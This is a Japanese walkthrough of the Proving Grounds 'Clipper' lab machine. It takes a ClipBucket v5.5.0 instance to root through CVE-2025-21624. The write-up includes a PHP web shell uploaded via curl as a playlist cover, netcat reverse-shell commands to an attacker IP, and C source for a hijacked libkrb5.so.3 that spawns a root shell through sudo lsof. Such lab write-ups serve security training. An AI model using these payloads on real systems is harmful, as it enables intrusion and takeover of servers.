🔥

Proving Grounds Practice Clipper

に公開

列挙

nmap
┌──(kali㉿kali)-[~/oscp/clipper]
└─$ sudo nmap -sC -sV -A -O 192.168.103.191 -p- --open -Pn
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 fc:72:06:8f:ef:ec:9b:87:f3:95:ca:f2:e7:1f:ea:dc (ECDSA)
|_  256 42:c2:f0:fd:85:f6:93:cb:bd:a0:e8:ed:c1:a2:6d:60 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: ClipBucketV5 - v5.5.0 STABLE - A way to broadcast yourself
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: nginx/1.22.1

TCP/80


ブラウザでアクセスすると上記のようなページが表示されます。
CLIPBUCKETで検索すると管理コンソールが「/admin_area」だとわかります。


admin/adminでログインができました。
そしてバージョンが5.5.0であることがわかります。

バージョン情報で検索するとCVE-2025-21624の脆弱性があることがわかります。

初期アクセス

CVE-2025-21624はplaylist coversでアップロードされたファイルが適切に検証されない脆弱性です。
ClipBucketにログイン(管理者ではなく)後、プロフィールから「My Playlists」に移動し、任意のプレイリストを作成します。

作成したプレイリストの「edit」をクリックします。
manage_playlists.php?mode=edit_playlist&pid=<your_playlist_id>が脆弱性のあるページです。
以下のシェルを作成します。

shell.php
<?php
    if(isset($_GET['cmd'])) {
        system($_GET['cmd'] . ' 2>&1');
    }
?>

作成したshell.phpをアップロードします。
この時、PHPSESSID、sess_salt、pidは自身のものを指定します。

curl
curl -X POST -F 'playlist_cover=@shell.php' -F 'upload_playlist_cover=submit' -b 'PHPSESSID=1kbavoacnuis7q08q2kcidpme0;cb_lang=1;sess_salt=866bf;' 'http://192.168.214.191/manage_playlists.php?mode=edit_playlist&pid=1'

その後、ncで待ち受けた状態で以下のコマンドを実行すると初期アクセスが取得できます。

curl
curl 'http://192.168.214.191/images/playlist_covers/2025/10/06/1.php?cmd=nc%20192.168.45.237%208443%20-e%20/bin/bash'
※アップロードしたファイルのパスには途中日付が入ります。

以下のファイルにはpierreのsshアクセスに使用できるパスワードが含まれており、それを使ってSSHアクセスができます。

/opt/clipbucket-v5-5.5.0/upload/includes/config.php

権限昇格

pierreはsudoで/usr/bin/lsofを実行できます。
偽のlibkrb5.so.3を作成し、任意のコードを実行させます。

library.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

static void revShell() __attribute__((constructor));

void revShell() {
    setuid(0);
    setgid(0);
    printf("Reverse Shell via library hijacking...\n");
    const char *ncshell = "nc -e /bin/sh 192.168.45.237 8443 &";
    system(ncshell);
}

上記をkali上でコンパイルしclipperにscpで送ります。

gcc
gcc -Wall -fPIC -c library.c -o library.o
gcc -shared library.o -o libkrb5.so.3

SCPの転送

scp
scp libkrb5.so.3 pierre@192.168.214.191:/home/pierre

その後、ncで待ち受けた状態で以下実行することでrootが取得できます。

linux
sudo LD_LIBRARY_PATH=/home/pierre /usr/bin/lsof

Discussion